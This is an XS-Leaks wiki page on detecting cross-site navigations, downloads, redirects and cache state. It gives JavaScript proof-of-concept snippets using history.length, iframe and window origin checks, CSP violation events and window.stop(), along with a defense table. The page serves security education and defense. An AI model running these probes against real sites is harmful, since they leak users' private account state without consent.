Navigations

Navigations

October 1, 2020
Abuse Downloads, History, CSP Violations, Redirects, window.open, window.stop, iframes
Category Attack
Defenses Fetch Metadata, SameSite Cookies, COOP, Framing Protections

Detecting if a cross-site page triggered a navigation (or didn’t) can be useful to an attacker. For example, a website may trigger a navigation in a certain endpoint depending on the status of the user.

To detect if any kind of navigation occurred, an attacker can:

  • Use an iframe and count the number of times the onload event is triggered.
  • Check the value of history.length, which is accessible through any window reference. This provides the number of entries in the history of a victim that were either changed by history.pushState or by regular navigations. To get the value of history.length, an attacker changes the location of the window reference to the target website, then changes back to same-origin, and finally reads the value.

Download Trigger #

When an endpoint sets the Content-Disposition: attachment header, it instructs the browser to download the response as an attachment instead of navigating to it. Detecting if this behavior occurred might allow attackers to leak private information if the outcome depends on the state of the victim’s account.

Download bar #

In Chromium-based browsers, when a file is downloaded, a preview of the download process appears in a bar at the bottom, integrated into the browser window. By monitoring the window height, attackers can detect whether the “download bar” opened:

// Read the current height of the window
var screenHeight = window.innerHeight;
// Load the page that may or may not trigger the download
window.open('https://example.org');
// Wait for the tab to load
setTimeout(() => {
    // If the download bar appears, the height of all tabs will be smaller
    if (window.innerHeight < screenHeight) {
      console.log('Download bar detected');
    } else {
      console.log('Download bar not detected');
    }
}, 2000);

important

This attack is only possible in Chromium-based browsers with automatic downloads enabled. In addition, the attack can’t be repeated since the user needs to close the download bar for it to be measurable again.

Download Navigation (with iframes) #

Another way to test for the Content-Disposition: attachment header is to check if a navigation occurred. If a page load causes a download, it does not trigger a navigation and the window stays within the same origin.

The following snippet can be used to detect whether such a navigation has occurred and therefore detect a download attempt:

// Set the destination URL to test for the download attempt
var url = 'https://example.org/';
// Create an outer iframe to measure onload event
var iframe = document.createElement('iframe');
document.body.appendChild(iframe);
// Create an inner iframe to test for the download attempt
iframe.srcdoc = `<iframe src="${url}" ></iframe>`;
iframe.onload = () => {
      try {
          // If a navigation occurs, the iframe will be cross-origin,
          // so accessing "inner.origin" will throw an exception
          iframe.contentWindow.frames[0].origin;
          console.log('Download attempt detected');
      } catch(e) {
          console.log('No download attempt detected');
      }
}

info

When there is no navigation inside an iframe caused by a download attempt, the iframe does not trigger an onload event directly. For this reason, in the example above, an outer iframe was used instead, which listens for an onload event which triggers when subresources finish loading, including iframes.

important

This attack works regardless of any Framing Protections, because the X-Frame-Options and Content-Security-Policy headers are ignored if Content-Disposition: attachment is specified.

Download Navigation (without iframes) #

A variation of the technique presented in the previous section can also be effectively tested using window objects:

// Set the destination URL
var url = 'https://example.org';
// Get a window reference
var win = window.open(url);

// Wait for the window to load.
setTimeout(() => {
      try {
          // If a navigation occurs, the iframe will be cross-origin,
          // so accessing "win.origin" will throw an exception
          win.origin;
          parent.console.log('Download attempt detected');
      } catch(e) {
          parent.console.log('No download attempt detected');
      }
}, 2000);

Server-Side Redirects #

Inflation #

A server-side redirect can be detected from a cross-origin page if the destination URL increases in size and contains an attacker-controlled input (either in the form of a query string parameter or a path). The following technique relies on the fact that it is possible to induce an error in most web-servers by generating large request parameters/paths. Since the redirect increases the size of the URL, it can be detected by sending exactly one character less than the server’s maximum capacity. That way, if the size increases, the server will respond with an error that can be detected from a cross-origin page (e.g. via Error Events).

example

An example of this attack can be seen here.

Cross-Origin Redirects #

CSP Violations #

Content-Security-Policy (CSP) is an in-depth defense mechanism against XSS and data injection attacks. When a CSP is violated, a SecurityPolicyViolationEvent is thrown. An attacker can set up a CSP using the connect-src directive which triggers a Violation event every time a fetch follows an URL not set in the CSP directive. This allows an attacker to detect if a redirect to another origin occurred 1 2.

The example below triggers a SecurityPolicyViolationEvent if the website set in the fetch API (line 6) redirects to a website other than https://example.org:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<!-- Set the Content-Security-Policy to only allow example.org -->
<meta http-equiv="Content-Security-Policy"
      content="connect-src https://example.org">
<script>
// Listen for a CSP violation event
document.addEventListener('securitypolicyviolation', () => {
  console.log("Detected a redirect to somewhere other than example.org");
});
// Try to fetch example.org. If it redirects to another cross-site website
// it will trigger a CSP violation event
fetch('https://example.org/might_redirect', {
  mode: 'no-cors',
  credentials: 'include'
});
</script>

When the redirect of interest is cross-site and conditioned on the presence of a cookie marked SameSite=Lax, the approach outlined above won’t work, because fetch doesn’t count as a top-level navigation. In a case like this, the attacker can use another CSP directive, form-action, and leverage the fact that submitting a HTML form using GET as its method does count as a top-level navigation.

The example below triggers a SecurityPolicyViolationEvent if the form’s action (line 3) redirects to a website other than https://example.org:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<!-- Set the Content-Security-Policy to only allow example.org -->
<meta http-equiv="Content-Security-Policy"
      content="form-action https://example.org">
<form action="https://example.org/might_redirect"></form>
<script>
// Listen for a CSP violation event
document.addEventListener('securitypolicyviolation', () => {
  console.log("Detected a redirect to somewhere other than example.org");
});
// Try to get example.org via a form. If it redirects to another cross-site website
// it will trigger a CSP violation event
document.forms[0].submit();
</script>

Note that this approach is unviable in Firefox (contrary to Chromium-based browsers) because form-action doesn’t block redirects after a form submission in that browser.

Case Scenarios #

An online bank decides to redirect wealthy users to attractive stock opportunities by triggering a navigation to a reserved space on the website when these users consult their account balance. If this is only done for a specific group of users, it becomes possible for an attacker to leak the “client status” of the user.

Partitioned HTTP Cache Bypass #

If a site example.com includes a resource from *.example.com/resource then that resource will have the same caching key as if the resource was directly requested through top-level navigation. That is because the caching key is consisted of top-level eTLD+1 and frame eTLD+1. 3

Because a window can prevent a navigation to a different origin with window.stop() and the on-device cache is faster than the network, it can detect if a resource is cached by checking if the origin changed before the stop() could be run.

async function ifCached_window(url) {
  return new Promise(resolve => {
    checker.location = url;

    // Cache only
    setTimeout(() => {
      checker.stop();
    }, 20);

    // Get result
    setTimeout(() => {
      try {
        let origin = checker.origin;
        // Origin has not changed before timeout.
        resolve(false);
      } catch {
        // Origin has changed.
        resolve(true);
        checker.location = "about:blank";
      }
    }, 50);
  });
}

Create window (makes it possible to go back after a successful check)

let checker = window.open("about:blank");

Usage

await ifCached_window("https://example.org");

Defense #

Attack Alternative SameSite Cookies (Lax) COOP Framing Protections Isolation Policies
history.length (iframes) ✔️ ✔️ FIP
history.length (windows) ✔️ NIP
onload event inside an iframe ✔️ ✔️ FIP
Download bar ✔️ \(^{1}\) NIP
Download Navigation (iframes) ✔️ \(^{1}\) FIP
Download Navigation (windows) \(^{1}\) NIP
Inflation ✔️ RIP
CSP Violations \(^{2}\) RIP 🔗 NIP

🔗 – Defense mechanisms must be combined to be effective against different scenarios.


  1. Neither COOP nor Framing Protections helps with the mitigation of the redirect leaks because when the header Content-Disposition is present, other headers are being ignored.
  2. SameSite cookies in Lax mode could protect against iframing a website, but won’t help with the leaks through window references or involving server-side redirects.

Real-World Examples #

A vulnerability reported to Twitter used this technique to leak the contents of private tweets using XS-Search. This attack was possible because the page would only trigger a navigation if there were results to the user query 4.

References #


  1. Disclose domain of redirect destination taking advantage of CSP, link ↩︎

  2. Using Content-Security-Policy for Evil, link ↩︎

  3. github.com/xsleaks/wiki/pull/106 ↩︎

  4. Protected tweets exposure through the url, link ↩︎